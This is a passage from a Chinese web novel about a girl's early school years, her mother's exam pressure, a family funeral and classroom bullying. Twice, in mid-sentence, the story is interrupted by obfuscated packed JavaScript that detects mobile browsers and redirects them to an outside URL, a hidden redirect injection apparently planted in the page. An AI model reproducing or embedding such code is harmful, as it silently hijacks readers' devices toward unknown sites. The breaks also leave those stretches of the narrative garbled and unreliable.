“嗯,我妹有这个打算,一是屿沉本身独立能力就强,会自理,寄宿生活对他来说不难适应。二是我刚才说的那点,初中阶段作为衔接,还是很关键的。” 陈慧柔一辈子都是在保守求稳,在余希柠的事情上更是如此,孩子留在身边读书,做父母的能帮忙分担很多,她只要专心念书就行。 晚上临睡前,陈慧柔把黄沐卿白天说的话跟余序洲说了一遍。 “你怎么看?你想希柠去考金中吗?” 余序洲躺被窝里,想都不想就回答:“没必要吧,梓钰不也去过,最后不也得回来读,没必要折腾多这一遭。” 陈慧柔道:“我起初也这么觉得,但沐卿一贯想得比我深入,她的话未必没道理。实中不只有正式录取生,也有择校生,有钱的话,考再差也能上。生源资质不纯粹,初中又是比较关键的阶段,万一没学好……” 余序洲睁开眼,偏头看陈慧柔:“你哥不是在实中吗,让他多盯着点希柠就行,担心什么。” 听下来,陈慧柔大概明白余序洲的意思,他也没打算让余希柠去考金中。 上了六年级,余希柠明显感觉到自己每天要写的卷子变多了,除了学校发的,还有陈慧柔往家里拿的。 实小去年已经晋升为省一级学校,专注自身教育,竞争对手是河对岸的附属小学,考试试题基本都是市里的卷子或者学校老师自己出的,没有那种联考或者竞赛设置。 镇上几所小学反倒有联考,每个学校就给五六个名额,联考成绩排前三名的,小升初会适当加分,20到10分不等。 陈慧柔十分看重这次联考,想方设法给余希柠安了一个名额要她参加。 “不去,我自己的作业卷子都没写完,去了就浪费了我两天时间,再说了我也考不到前三名,加分也轮不到我。” “不指望你加分,就是让你锻炼一下,试试看你现阶段的能力到哪了。” 陈慧柔急都急死了,名额来之不易,余希柠偏偏就是不听。 “不要,我又不是你们学校的学生,去了他们又要说我。” 余希柠一把推开陈慧柔,嫌弃她影响自己写作业。 陈慧柔下意识提高了声量:“我这是为你好,你怎么就是不听话呢!” 余序洲正在外面看电视,听到这一声,跑进来问:“怎么了怎么了?” 陈慧柔气得额头突突疼,转身往外走。 “又惹你妈生气了?” “我只是适当拒绝不合理的要求。” 余希柠现在说话越来越有大人样子了,她把书包里还没写的卷子拿出来给余序洲看:“我就两天时间要写这么多作业,她倒好,又给我塞了个联赛的名额,有必要吗?” “你妈是为了你好,想让你去练一练,外面的卷子和实小的难度不一样,也有助于你积累应试经验啊。” 余希柠:“又是这句为了我好,你知不知道她学生背后都是怎么说我的?” 余序洲:“啊?” 为了升学率,镇上几个排名靠前的小学周六还给毕业班的学生安排了补习,一小也不例外。陈慧柔把余希柠也带了过去,还安排在第一排的位置听课。 班里学生都知道这是班主任的女儿,是实小的学生,那就是有“阶级划分”的。下课基本都是绕着走,也从不跟余希柠搭腔说话。 “他们就觉得我在搞特殊,我每次都觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我和希柠聊了下,一是她卷子确实多,你看昨晚十点半她都还在写。” 陈慧柔冷哼了一声:“那还不是她饭后看动画片看太久。” “学习要劳逸结合,而且这次联赛名额,你是拿别人的给她吧?传出去像话吗?说难听点就是违规替考。” 余序洲拉着陈慧柔语调平和,极力说服:“要让哪个学生知道说了出去,对她,对你影响都不好。” 陈慧柔急急解释:“不是替考,就是多争取了一个名额。” 余序洲耐心道:“都一样,你女儿说了,要是让你学生认出来,那她就成了拿走别人机会的小偷。一次考试而已,又不是小升初,没必要。” “她真这么说?”陈慧柔半信半疑,虽然气在头上,可也不是听不进去劝:“我……” 话还没说完,家里的电话响。 陈慧柔的心没由来猛跳了一下。 余序洲:“我去接。” 阿嬷去世了。 余希柠在屋里听见了余序洲接电话的声音。签字笔在卷上无意识划开了很长一道笔迹,她站起身,走到门口,刚把门打开就看见陈慧柔跌坐在了椅子上,一副丢了魂似的样子。 余序洲挂断电话,扶她起身:“快换上衣服,我先载你过去。” 陈慧柔由着他搀扶回房换衣服,余希柠追上前:“爸妈,阿嬷……” “希柠你也去换身衣服,快。” 余序洲催促着。 等到了后街巷,隔老远就看见陈敬涛站在天井口抽烟,旁边还站着几个余希柠叫不出名字的老辈。 陈敬涛见陈慧柔来了,指了指里屋:“去吧,敬禹一家也在。” 余希柠跟在陈慧柔身边,牵紧了手,直到站在阿嬷床头才有了实感,老人安祥睡去,再也听不见她喊一声“阿嬷”。 “妈,我来晚了。” 陈慧柔拉着徐晓敏的手,贴在额头低声哭了出来。 余希柠看了眼许久未见的小舅一家,在小妗的示意下,拉着表妹陈时宜的手出去外面等着。 余序洲见她出来了,问:“见到你阿嬷了?” 余希柠点点头,眼泪唰的一下掉下来。 “不哭,爸先送你回家。”余序洲抹去余希柠脸上的泪水,和一旁站着的陈时宜打招呼:“时宜,你跟你梓钰姐、梓航待一块别乱跑,凡事听大人的安排。” 陈时宜点头。 余希柠不解道:“爸,我为什么不能留下来?他们都在这,我怎么就得回家?” “小孩子别问那么多,你听爸的话就是。” 已经穿好麻衣孝服的陈敬涛经过,见余序洲还没换衣服,便多问了一句。 余序洲指了指余希柠:“我把她送回去就立马过来。” 陈敬涛看了余希柠一眼,挥手:“抓紧,亲朋都通知到了,待会你还得负责登记一下纸仪数目。” 余序洲:“嗯知道。” 余希柠坐上余序洲的车后座,和陈梓钰挥手道别,回家路上她还是按耐不住要问个为什么。 余序洲淡淡道:“你是外孙女,不用参加白事,要躲。” “躲?可我也是孙女啊。”余希柠甚是不解。 “外孙和内孙是不同的,等你长大了自然就知道了。” 什么都要等长大了才知道,她现在不算已经长大了吗? 余希柠不理解,在这个地方,出生后是女孩就好像已经被规划好了禁止区,世俗、礼仪、传统早早地将她锁在了红线范围内。 她争取不了什么,只要听从安排就好。后来余希柠才知道,在潮汕地区,丧葬习俗非常注重礼仪和传统,葬礼上的外孙女不如远亲。 明明都是骨血,却也分亲疏。 徐晓敏走后,陈家儿女聚在一起开了个小会。陈镇东搬回陈敬涛家,和大儿子住一块,陈敬禹每个月会给老人汇生活费当敬孝心。 后街巷的房子暂时空了出来,大门吱呀着声关上,落锁。陈慧柔强忍着起伏的情绪别开脸,属于她和母亲徐晓敏的回忆,被彻底封存在了这里。 21. 分开 日子一晃而过,这年小升初,余希柠考上了实中,陈慧柔带的毕业班也有十位学生过了实中分数线,创历年成绩最佳,并获评县年度优秀教师。 可谓是双喜临门。 另一边,黄沐卿已经办妥了手续,这一届毕业生也是她在第一小学带的最后一班学生,新学期开始她就要去广州的小学报道。 这件事,黄沐卿也没瞒着陈慧柔。她和许浩然结婚后就一直是两地分居,后来有了孩子,也是跟她在饶平生活,每年就盼着寒暑假可以去广州一家人团圆。 许浩然进修毕业后分配到广州眼科中心工作,他的工作稳定下来,黄沐卿就开始着手准备广州教师岗的考试,为小家能早日结束异地分居而努力。 眼下考上了,她最舍不得的就是闺蜜陈慧柔。两人打小就在一块,一起上的师范夜校,一起进的第一小学,一起搭档这么多年,早就建立了很深的感情。 “真想让你也考广州的教师岗,大城市待遇高,教学条件也好。”黄沐卿拉着陈慧柔的手不放。 陈慧柔笑了:“就这么舍不得我啊?你这么黏我,许医生知道是要吃醋的。” “那我就是和你分不开啊,这是实话。一想到换了新环境,要和新老师搭档,我这心里都还有些犯嘀咕,不太习惯。” 黄沐卿原本是想劝陈慧柔试试考广州编的,可转念一想,这些年又真劝得动她什么呢。每个人都有属于自己的人生轨迹和选择,不是照搬路数就能活得一样清楚明白的。 “以后啊记得常给我打电话,你家的电话套餐,长途是不是接听免费?是的话我给你打。” 陈慧柔当真思考了一下:“好像是有60分钟免费,平日里也就阿琪会打过来,偶尔。” 黄沐卿:“那我每个月都把这60分钟打满了,超的你就交钱,别抠抠搜搜的,为了姐妹情谊。” 陈慧柔嘴上笑着,心里却很是不舍。 黄沐卿拉着陈慧柔的手不放:“寒暑假有时间了就来广州,顺带去阿琪那住几天,以后你在广州就有两个人脉了,值得来。” 余希柠从外面回来,见黄沐卿也在,乖巧打招呼:“卿姨。” “哎,和同学出去玩?” “去吃海石花和拍大头贴。”余希柠给俩大人看了自己刚拍的,“我这去的是红光路那的新店,没选卡通框,就这种纯白底的好看。” 黄沐卿:“啊确实,这姿势就很可爱。” 近两年流行拍大头贴,镇上的照相馆要是摆上两台拍大头贴的机子,生意就很红火。连过胶的膜纸都能选,有透明的、磨砂的、带闪带图案的。 一开始是陈梓钰拍了一套,给了余希柠一张。陈慧柔觉得还挺可爱的,就带着余希柠去拍了一套母女版的。 余希柠还把其中一张照片贴在了自己的书包上,很多人看了都说她和妈妈长得很像。但她其实更像余序洲一些,特别是鼻子和嘴巴。 因为写同学录,会跟同学互相交换大头贴,有的关系好,会多要几张,所以余希柠时常得去补拍。 “现在的小孩啊可比我们那时条件好多了。”黄沐卿看完照片,还给余希柠,顺带问了一句:“屿沉也有拍这些吗?你们交换过没有?” 余希柠:“他没拍,好多同学找他换,他都说没有,就给写了同学录。” 黄沐卿并不意外:“这孩子节俭,平日里给他零花钱他也不要。” “卿姨,林屿沉真要去金中上学?” 余希柠先前听同学说过,但她也没敢问林屿沉。五年级一次期末考侥幸赢过他一次后就再没有第二次,余希柠到今天都记得,林屿沉说的那句—— “大不了你下次再考个第一,堵住他们的嘴就是了”。 她当时怎么回答来着?我会的。 那会三个字喊得有多大声,现在余希柠躲得就有多远,她希望林屿沉永远不要想起来这件事,否则真的太丢人了。 “对啊,以后只有周末回来,到时候你们可以多交流一下学习,金中的卷子虽然难度高,但胜在题型新,学习笔记你也可以找他要一份去翻翻看。” 一听到学习,余希柠脑袋就炸,好不容易考上实中,她只想松口气。眼下见黄沐卿又聊起卷子、学习笔记,她赶忙找了个借口往房间溜。 房门关上,陈慧柔一脸愁容。 “小升初成绩公布后,她像摘了紧箍咒的孙猴子,完全不受控。她爸帮她借来一套初一所有科目的教材让她提前学习,她愣是说我们是在拔苗助长。” 说起余希柠,陈慧柔就来气:“序洲朋友的儿子,也是刚考上实中,一个暑假把初中物理全学完了。” 黄沐卿安慰陈慧柔:“教育这件事,任重而道远,还得找准办法。原先我建议你让她试试考金中,那会你要是答应的话,我觉得希柠也能考上,因为今年的卷子不难。寄宿环境也没什么好担心的,上大学不也要住宿,提前锻炼自立能力也挺好。再说了,都是同龄人,自然会有氛围和竞争意识,要比你这么强灌输要来得起效果。” 这些话,黄沐卿之前也和妹妹黄沐冰说过,她们这才同意让林屿沉去参加。 “现在说这个也没用了,要是能再来一次,我肯定选。” 陈慧柔说不后悔,那都是假的。 “所以啊,后面的路就得靠你和序洲老师你俩好好打配合,初中会有青春期这一关,教育得有方法,否则适得其反。” 听黄沐卿这么说,陈慧柔再也忍不住了,靠着她哽咽:“往后没你在我身边,都没人点拨我了。” “电话,咱电话里能聊。” 黄沐卿走后这晚,陈慧柔的情绪一直很低落,洗完澡早早就回房间休息,也不监督余希柠学习了。 余希柠在客厅里连看了两集《少年杨家将》才被余序洲叫去睡觉,意犹未尽地关上电视。 “卿姨搬去广州,我妈天都塌了一小半。” 余序洲:“毕竟是你妈最好的朋友,你妈生你的时候,还是沐卿老师送去的医院。” 余希柠压根不知道这事,头一回听便觉得不可思议:“卿姨送的,那你在哪?” “上班啊,那会还没放假呢。”余序洲催促着余希柠赶紧回房睡觉,“别问那么多了,快去睡,明天早起还要爬山锻炼呢。” 余希柠哀怨道:“能不能不爬啊,我想睡晚点,开学就不能睡懒觉了。” 2007年9月,余希柠成了一名初中生,要学的科目翻倍来。从前陈慧柔和余序洲能帮着抓功课,上了初中,家里只剩下余序洲能帮着辅导。 理科依旧是余希柠的弱项,数学、生物和物理全都跟不上,学习状态进入得晚,一下就落后大半截。 都说初中才是学习成绩分水岭,这话一点都不假,稍不留神就被甩在后面,科目一多,累计在一起就是大工程。 一眨眼到了2008年,也是众人期盼的奥运年。 年前大范围的低温雨雪天气摧毁了湖南郴州的电力系统,郴州境内输电塔倒塌,京广铁路阻断,多趟列车失去电力,广州火车站作为京广线的起终点,滞留人员如同滚雪球一般。 站内外滞留人数过十万,广东省内停止发售各车次车票,高速同样陷入瘫痪状态,广州气温一度低至五度。 陈镇东时刻关注着新闻里的消息,盼着她回来,又担心天气和交通影响,思虑再三还是让她留在广州过年。 不仅陈慧琪没回,陈敬禹一家也留在深圳。往年初一陈家都是热热闹闹的,四家人聚在一块吃饭,今年就只有陈慧柔一家过来。 “今年的天气真是冷,往年都说瑞雪兆丰年,今年这头啊,开得……” “诶,大过年得说吉利话。” 王君拍了陈敬涛一下,示意他说话注意些,又从背后拿出来一个红包,封面写着学习进步四个字。 “来,希柠,这是舅舅舅妈的红包,祝你新的一年学习进步,成绩突飞猛进。” “谢谢舅舅舅妈。” 自上了五年级,连着三年余希柠拿的红包壳封面都是学习进步。 “轮到我了,我也来。” 陈慧柔从包里掏出两个红包,笑着道:“今年是梓钰最关键的一年,梓钰,大姑希望你高考顺利,考上理想大学。梓航呢,学习进步,向两位姐姐学习,争取小升初也能上实中!” “谢谢大姑。” “谢谢大姑。” 陈梓钰沉稳接过,坐回到位置上。陈梓航则约了朋友去放鞭炮,道了声谢就往外跑。 “梓钰一贯不用我操心,就是梓航,看他现在这个样子,以后要能考上实中,我真得好好拜一拜佛祖菩萨。” 王君感慨道:“明明是亲姐弟,怎么能差那么多。” “梓航也是聪明的,现在还小,等上了初中指不定就开窍了。” 大人们你一言我一句,字字不离学习跟成绩。电视里重复播放着春节联欢晚会的节目,余希柠在屋里待得闷得慌,拉着陈梓钰往外走。 “姐,你想考哪的大学啊?” “广州吧。” 陈梓钰似乎心里早已有了目标大学,也是,都高三了,想考哪,学什么专业应该心里都有底才对。 余希柠脑海里关于大学的想象,多半都是从看过的青春小说里提炼出来的。 “好羡慕你,很快就能自由了,而我才刚刚开始,还有三年要熬。” 余希柠双手抄兜,踢着路面的小石子,总觉得有一肚子话要跟陈梓钰说,又怕她不懂自己在表达什么。 “要是真能穿越就好了,我要一秒无痛越过中考、高考,直接上大学。” 陈梓钰轻笑:“那等上了大学,你估计又想直接工作赚钱吧?” 余希柠难得摇头否认:“不不不,我还是想享受大学时光的,指不定还能谈场恋爱。” “谈恋爱?你不会是……” 余希柠之前就爱看小说,加上人长得也漂亮,初中这会儿正值青春期,陈梓钰瞬间好奇起来:“有喜欢的人了?” 余希柠果断否认:“怎么可能,没有……” 就算有过萌芽,也很快被掐断了。 “一举一动都在舅舅眼皮底下,谈什么,谈理想吗?” 余希柠:“姐,读高中什么感觉?应该也没有松口气的时候吧?” “高三是最紧迫的,高一还行,二中也有不少社团活动,你可以参加一两个,那个蓝潮我觉得就挺适合你的,写稿发表的。” “不想,我高中一定要过得不一样才行,起码和初中三年要有区别。” 两人并肩而行,漫谈着对未来的规划。 黄沐卿也没有回来过年,给陈慧柔打了电话,问及余希柠期末考试成绩,陈慧柔头疼不已。全班一共82位同学,余希柠考了班里47名,排在中间。过年走亲戚的时候,长辈问起她是不是又考班里前三,陈慧柔都不好意思回答。 “我让屿沉找个时间跟希柠聊聊看吧,他回家了,都是老同学,应该互相帮助。”黄沐卿主动提议,陈慧柔感激不已。 这天午饭刚吃完,家里电话就响了,余序洲看了眼来电显示,是陌生号码,但还是拿起来先礼貌说了句新年快乐。 对方愣了一下,也回:“新年快乐,余叔叔。” 余序洲还是没听出来是谁的声音。 “我是林屿沉。”似乎是怕余序洲不认识,他又补了一句:“是余希柠的同学,请问她在家吗?” 余希柠正在房间里看书,听说林屿沉打电话来,一双眼睛睁得老大,边走边嘀咕,他找我干什么? “喂,林屿沉。” “余希柠,你下午能出来吗?我回来了。” 余希柠好奇地绕着电话线:“去哪啊?” 林屿沉:“就菜场街那家肠粉店,我请你吃肠粉。” “啊?都过了饭点了,我都吃饱了。” 余希柠觉得很奇怪,从前林屿沉从不会给她打电话,更别说约见面吃肠粉了。 “你有什么事吗?” 林屿沉:“我从金中带了几本书过来,想给你。” 余希柠:“……” 挂断电话后,余希柠黑着脸坐在沙发上,余序洲就站在玄关那观察着,被陈慧柔拉回餐厅。 “你说这电话里都说了什么,希柠表情那么差。” “估计是沐卿吩咐的,我之前和沐卿说了希柠的成绩,问她在广州能不能找些卷子来给希柠练,或者说有什么学习方法。沐卿就说等屿沉放假回来,让俩孩子交流交流。” 陈慧柔洗着碗,像想到什么似的吩咐余序洲:“给希柠点零花钱,真要出去吃什么海石花小蛋糕之类的就让她给钱。” 余序洲:“行。” 余希柠不情不愿地骑着自行车出门,和林屿沉约在了运动场前面的果汁摊位碰面,没过多久就看见他。穿着一身黑色的冲锋衣,黑色运动裤,从头到尾除了白色板鞋以外,其余都是黑的,大过年这身装扮,格外扎眼。 余希柠穿了件红色连衣裙,围着条白色围脖,端坐在那儿,乍一看像福娃娃,就是表情看上去不太友好。 “大过年的, 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林屿沉瞥了眼余希柠桌上那杯橙汁:“和你一样吧。” “行,老板,这儿加杯橙汁。” 因为一本杂志,余希柠对金中的生活产生了好奇,问了林屿沉很多,他都一一回答。但话题最后都还是不可避免地绕回到学习上。 余希柠坦白道:“我期末考考得很差劲,我妈挺失望的。好像上了初中,我就变笨了,不再像上小学的时候,轻轻松松也能考个前几名,初中真难。” “高中只会更难。” 这话说完,气氛都冷凝了,眼见着余希柠表情越来越难看,林屿沉摸着鼻子解释:“我的意思是,你就是节奏没把握好,每门课都有诀窍,学习也讲究方法。” 林屿沉像变戏法似的从座椅后面又拿出一个小袋子。 “这是我的笔记,你看看有没有帮助,这几天拿回去抄?” 如果一开始就把笔记拿出来,以余希柠的性子肯定要不耐烦,所以林屿沉先把文学社的杂志给她,博些好感。 林屿沉的字很好看,像练过的楷书字帖一样,余希柠翻了翻,发现他笔记里除了有重点标注,还有考法题型的罗列。 “林屿沉,没几天就要开学了,我抄不了这么多。” 余希柠瞳孔是深棕色的,日光下特别好看,像一枚琥珀玉石。她不笑的时候常给人一种高冷严肃的感觉,但只要望入那双眼,紧张的情绪又会被一一驱散。 “我生物和物理最差,我先借这两本吧。”余希柠把其他还给林屿沉,“你什么时候回学校?我抄好了还给你。” “正月十一我就回去了。” “那还有几天时间,我回去就抄。” 林屿沉叮嘱她:“不单是抄,你记得理解,有不懂的随时打电话给我。” 余希柠歪着头看向林屿沉,视线总是很容易被他长卷的眼睫毛吸引过去。 “怎么了?” 余希柠:“你为什么要给我笔记啊?好学生不都是最宝贝自己的学习笔记吗?生怕其他人看了去,比他考的分数高。” 余希柠同桌的笔记就从不给她看,生怕她抄到了什么重点,考多几分似的。 “是不是沐卿阿姨让你给我的?” 林屿沉沉吟一下,坦白:“我大姨只跟我说你期末考考得不太好,问我有没有跟你联系,毕竟是同学。如果回家了有时间,就互相交流,看有没有能帮上忙的地方。” 他犹豫了几秒又补充:“我们俩现在不在同个班,也不算竞争对手,我愿意帮你。” 余希柠若有所思地点头。 林屿沉:“初二还会多一门化学,如果现在这几科的功课不补齐,后面很容易就被落下了。” 余希柠捏着吸管喝完橙汁,只觉得心口一阵凉:“被你说得我更害怕了。” “宋乔考得怎么样?你不是和她关系最好吗?” 余希柠的朋友里,林屿沉就记得宋乔,以前也没怎么留意她都和哪些人玩,好像也只是前后桌这样。 余希柠:“她考得挺不错的,班里前五应该有吧,她英语都能拿满分,听说暑假会去上新东方。你知道新东方英语吗?” 林屿沉点点头:“有听说过,挺贵的。” 一提贵字,余希柠立马知道这话题不能继续往下。 “还有什么新概念英语,反正就是有去上补习班,化学也是,我们学校有个老师在外面办了辅导班,去读的同学还挺多的。” 说起这个,余希柠就气鼓鼓的有很多话想说。 “你知道我们学校老师多夸张吗,十个里面有九个都在外面开了辅导班,连语文这种科目都有。然后出的考题,都是课外辅导的时候给学生提前练过的。就拿语文来说,古诗词十分,文言文阅读十四分,她们补习课上都练过。” 林屿沉一下就愣了:“还能这样?” 余希柠点头。 “我也纳闷语文有什么好开班辅导的,顶多补一补作文吧,但后来我发现其他题型他们也练,而且每次考试前一个个都神神秘秘的。后来是我前桌说漏了嘴,她就有去上补习班。” 余希柠晃荡着脚,踢了踢前排椅凳,掰着手指头给林屿沉数:“语文、数学、英语、生物、物理,就政治历史地理这种文科的没听说过开班,其他都有。” 林屿沉:“你报了吗?” 余希柠摇头,报班费用不少,平日里她还要练琴,如果还上补习班,那就真的没有什么自由时间了。 “还是先把基础练扎实,知识点悟透了,多做练习题就行。”林屿沉又强调了一次:“有什么不懂的随时问我,要不你加我□□号?” 余希柠上四年级的时候就随大流申请了一个□□号,但家里电脑没装宽带,她平日里也没使用过□□。只是别人有的,她也要有,像是身份象征。 之前填同学录的时候,就有□□号一栏,几十份写下来,这串数字早就背熟了,脱口而出背给林屿沉。 “行,我回去后加你,记得通过。” 余希柠:“我设置了免申请添加的,直接就是好友了。” 和林屿沉分开后,余希柠又去了趟书店,买了几个新本子用来抄笔记。回到家,刚好有客人在,余希柠打了声招呼就回房学习。 “你家孩子过年还学习啊,真勤奋,期末考考得不错吧?” 关门前,余希柠听到了这句话,嘴角往下撇了撇,沮丧又丢人。 22. 影响 晚上,家里的电视正在播《大明王朝1566》,陈慧柔洗完澡出来见余希柠房门关着,问余序洲:“怎么把门关上了?” “她在抄笔记,我这看电视怕影响到她,就把门关了。” “你把门关了我还怎么看她是不是在学习,看电视去卧室看,别在外面。” 说完,陈慧柔拿起遥控就把电视给关了。 “你——” 余序洲都还没来得及补一句,房间里的电视没这个台。 余希柠正抄着笔记,房门一下被推开,因为门锁有些老旧,锁舌还未完全收回就被陈慧柔推开,发出的碰撞声响把她吓了一跳。 “妈,你进来怎么都不先敲门的。” “你在做什么亏心事吗?不然怎么还需要敲门。”陈慧柔凑近了看余希柠正在写什么,“这是屿沉的笔记?字挺好看的。” 余希柠闷声“嗯”了下。 陈慧柔没察觉到余希柠的情绪,叮嘱道:“别光抄,要理解,学霸笔记都在这了,别抄完了还考那么少的分。” 余希柠捏紧了手中的笔,没吭声。 新学期开始,班里的座位做了些调动,按照成绩高低进行安排,余希柠被安排在了中间位置,同桌是林烜,男生,数理生成绩不错,语文和英语吊车尾。和余希柠是互补的类型,班主任有意让这俩人在学习上帮助对方,取长补短。 谁曾想,这俩小魔王混到一块,学习不见得有帮助,其他方面倒逐渐一致。余希柠性子本来就跳脱,从小调皮好玩,也就是大人面前装装乖,老师眼皮子底下规矩些。 上了初中,没当班干部,余希柠也就没了那份自律的劲,再加上成绩一般,根本不是老师重点关注对象。寒假因为成绩闷闷不乐了一段时间,拿到林屿沉的笔记后也确实紧了几天的弦,脑海里想象过开学奋起直追,成绩重新回到班级前列的画面。 但现实是,遇到林烜这个同桌,余希柠一下被打回原形。 “学习太没意思了,我刚买了套《神雕侠侣》,你要不要看?就电视上在播的杨过和小龙女,你看了没?” 后来余希柠仔细回忆过,她看小说的启蒙应该就是来自林烜那套《神雕侠侣》至此之后,一发不可收拾。 晚饭后余序洲打开电视,频道正在播苏有朋、贾静雯版的《倚天屠龙记》,余希柠端着饭碗也跑出来看,故意吃得很慢就为了多看十分钟电视。 因为武侠,父女俩还多了话题交流。 余序洲也爱看武侠片,百看不厌的那种,对金庸手底下刻画的人物从性格到门派再到独门武功,都非常清楚。 余希柠问什么,他都能回答出来,一时间爸爸成了她追捧的对象,而只会让她学习、考高分的妈妈则被抛在了后面。 周末,陈敬涛带着陈梓钰来陈慧柔家吃饭,陈梓钰六月就要参加高考了,原本王君都不同意陈敬涛带她来,是陈敬涛心疼女儿学习学得太紧迫,想让她放松些,也念着她有段时间没跟余希柠见面了。 饭后陈梓钰和余希柠回房间,陈敬涛扫了眼关上的房门,放下手里筷子。 “上周六一,我看到希柠在校道上和同学追逐打闹,手里挤满了那种白色泡沫。后来我和她班主任交流了一下,班主任反馈她上课不集中精神,跟同学传纸条说悄悄话,还看小说。这些你们当家长的知不知道?” 陈慧柔一颗心忽的往下坠,茫然地和余序洲对视了一眼:“我不知道啊,她这段时间也没什么异常,晚饭后练了会琴就回房写作业了,我看着她在学习的。” “班主任不会乱说,希柠的学习态度啊,你们要多关注,要严格一些,不能再像从前一样放任着来。” 陈敬涛反复强调初中阶段的重要性,一步行差踏错,等到了高中要来纠正,比登天还难。 卧室里,余希柠趴在床上看小说,陈梓钰百无聊赖地翻着她桌上的习题本,上了高三再看初中的知识点,就觉得太简单了。 “姐,你都不看小说的吗?我跟你说,有些作者他们的书都写得特别好看,你看沧月的文笔,多仙啊。” 余希柠一本正经地给陈梓钰推荐各种小说,她知道陈梓钰的文笔好,本以为是同道中人,结果陈梓钰根本不感兴趣。 “看小说容易上瘾,学习都没时间,你怎么还看小说?大姑知道你家里有这些书吗?” “哎!你可千万别跟我妈说,我这都是跟同学借的,周一要还所以得抓紧时间看完。我上次用了几个小说里的句子,老师还夸我呢。” 余希柠不时竖起耳朵关注着外面的声音,做好有人进来就把书藏起来的准备。 陈梓钰随手拿起余希柠的周记本翻开,嘴上强调着:“你也不能就语文一门功课好,我爸今天来……” 陈梓钰说到一半没声了,余希柠回过头:“大舅怎么了?” “余希柠。”陈梓钰亮起手中的周记本,指着最新一篇名为《左手与右手》的文章,眉头微蹙:“你这篇周记是抄我的吧?” 余希柠定睛一看,立马从床上翻起来,抢过周记本藏在身后:“你怎么乱翻我东西呢?” 陈梓钰:“你就放在书桌上,之前总听大姑说你语文成绩很好,作文分高,我就想看看你怎么写的。你还没回答我,这篇作文,是看了我的日记写的吧?” “我没有。” 余希柠否认。 陈梓钰也不恼:“市面上不少作文大全在卖,目的就是让学生参考学习的,我作文也有过被印成年级范文给传阅的经历,这并不特殊。左手和右手的对话,我初三的时候就写过了,你这开头第一段和我那时写的就很像,如果不是看过,怎么会连开头几句话都一样,连对话内容也是。” 被人当面戳穿,余希柠难堪得很。 “承认有模仿和参考也不是什么丢脸的事,但这是我写的作文,你不能照着写吧?你这就是抄袭。” 余希柠矢口否认:“我没有照着写!” 陈梓钰皱眉:“那你就是承认你看过?” “看过。”余希柠硬着头皮解释:“但我就看了一眼,当时觉得这种拟人化写法挺新颖的,就记下来了,但我真没抄。里头左手和右手对话的内容是我自己的亲身经历。” “刚才还说我随便翻你的东西,你不也翻我的日记看吗?” 陈梓钰站起身,见她准备出去,余希柠拉住她:“你要去哪?要把这事儿跟我爸妈说吗?” 陈梓钰瞥了余希柠一眼:“我不像你,动不动就打小报告。” “姐!姐!你别生气啊,我再也不敢了,而且我发誓,我就看了那一次,之后再没看过你的日记。” 余希柠三指并立,言辞恳切。 陈梓钰无奈地点了她额头一下:“下次不许再犯,明明你自己也可以写出好文章来的” “知道了。” 话音刚落,房门被打开,余希柠吓了一跳,刚想说陈慧柔又不敲门,就见她冷着张脸。 “你给我过来。” 余希柠被直接拎出房门,完了!大事不妙!她不忘给陈梓钰使眼色,让姐姐帮忙把床上的小说给收起来。 客厅里开始“三司会审”,余希柠弱小无助地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071799|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在茶几旁边。陈慧柔问起她这段时间的功课学的怎么样,最近一次考试的分数如何,有没有被老师点名批评过…… 余希柠心脏怦怦跳,但还是一一回答。 陈敬涛把班主任反馈的在校情况重复了一遍,和余希柠当面对质,当听到说她“上课传字条、看课外书”,余希柠心里“咯噔”一声。 “你居然还不长记性!上学期考得那么差,林屿沉还借给你笔记,结果呢,装几天样子,回到学校就原形毕露了!”陈慧柔气不过,“你看的什么小说?拿出来!” 屋里陈梓钰也听到了陈慧柔发怒的声音,赶忙把小说藏柜子里,外面还不忘塞上几本书遮挡一下。 这样的事,其实她之前也干过。 “我就是帮人传纸条,没有写纸条,那他们都把纸条丢我桌上了,我不得帮忙递一下吗?这也没什么吧。” “你还狡辩!你当没看到不就行了,不然就告诉老师,说他们影响你学习,你傻不傻啊!”陈慧柔有时候真是要被余希柠气死,觉得她就跟余序洲一样,老实好欺负。 余希柠双手背在身后:“妈,初中生没你想的那么简单,现在已经不是上小学的时候了,不兴跟老师打小报告,不然我就得遭殃。” 余序洲:“什么意思?” “传纸条的同学有一个是我们班里的‘派崽’。” 余希柠一脸无奈,她一贯不喜欢这种不学无术又吊儿郎当的人,也不想惹事上身所以只能照做。他们看不惯谁就专门欺负,有不听话的就直接收拾。 趁人不在就把书包丢在地上,踩上两脚,或者在座椅上倒点什么脏东西。遇到有同学反抗,他们就更来劲了,抬脚直接踹课桌,桌面上的东西直接扫落在地上。 这种情况就是跟老师说了也没用,班主任最多把人教育一两句就放回教室里了,但他们就会对打报告的人变本加厉地欺负。 “你们班还有这种人?”陈慧柔简直闻所未闻。 “学校里多的是,大舅不会没见过吧?”余希柠看向陈敬涛,“大舅,遇到这种情况你告诉我,是帮忙传纸条,多一事不如少一事,还是跟老师说,然后树敌挨打?我小时候学的是跳舞,要是我妈带我去学跆拳道,我一定敢跟他们对着干。” 余希柠成功将话题转移到“学校霸凌”事件上来,陈慧柔也对这样的学习环境表示忧心忡忡。 那会还没有“霸凌”这个词语来准确概括,等到多年以后,有了相关新闻事件,余希柠才反应过来,当初,在学校所经历的,正是校园霸凌。 余序洲:“大佬,这样的情况你得注意啊,得整顿,严肃处理,不然家长怎么放心。” 陈敬涛清咳了两声:“嗯,知道了。” 陈慧柔也没原先那么生气了,比起成绩,她更担心余希柠在学校受欺负:“遇到这种人你就躲开,平日里少惹是生非,多把注意力集中在学习上听到没有?上课认真听讲,你有什么小动作,大舅都是知道的,别给他丢脸!” 